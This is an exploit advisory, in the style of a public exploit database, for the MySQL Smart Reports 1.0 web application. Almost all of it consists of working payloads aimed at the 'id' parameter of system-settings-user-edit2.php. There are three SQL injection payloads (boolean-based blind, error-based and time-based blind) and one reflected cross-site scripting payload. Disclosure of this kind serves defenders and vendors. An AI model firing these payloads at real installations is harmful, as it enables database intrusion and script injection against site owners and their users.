MySQL Smart Reports 1.0 - 'id' SQL Injection / Cross-Site Scripting

# Exploit Title: MySQL Smart Reports 1.0 - SQL Injection / Cross-Site Scripting
# Dork: N/A
# Date: 22.05.2018
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor Homepage: https://codecanyon.net/item/mysql-smart-reports-online-report-generator-with-existing-data/16836503
# Version: 1.0
# Category: Webapps
# Tested on: Kali linux
# Description : It is actually a post request sent by the user to update.
                You do not need to use post data. You can injection like
GET method.
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# PoC : SQLi :

Parameter : id

     Type : boolean-based blind
     Demo :
http://test.com/MySQLSmartReports/system-settings-user-edit2.php?add=true&id=1
  Payload : add=true&id=9' RLIKE (SELECT (CASE WHEN (8956=8956) THEN 9 ELSE
0x28 END))-- YVFC

     Type : error-based
     Demo :
http://test.com/MySQLSmartReports/system-settings-user-edit2.php?add=true&id=1
  Payload : add=true&id=9' AND (SELECT 3635 FROM(SELECT
COUNT(*),CONCAT(0x716a6a7671,(SELECT
(ELT(3635=3635,1))),0x7176627a71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- HEMo

     Type : AND/OR time-based blind
     Demo :
http://test.com/MySQLSmartReports/system-settings-user-edit2.php?add=true&id=1
  Payload : add=true&id=9' AND SLEEP(5)-- mcFO


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# PoC : XSS :

  Payload :
http://test.com/MySQLSmartReports/system-settings-user-edit2.php?add=true&id='
</script><script>alert(1)</script>‘;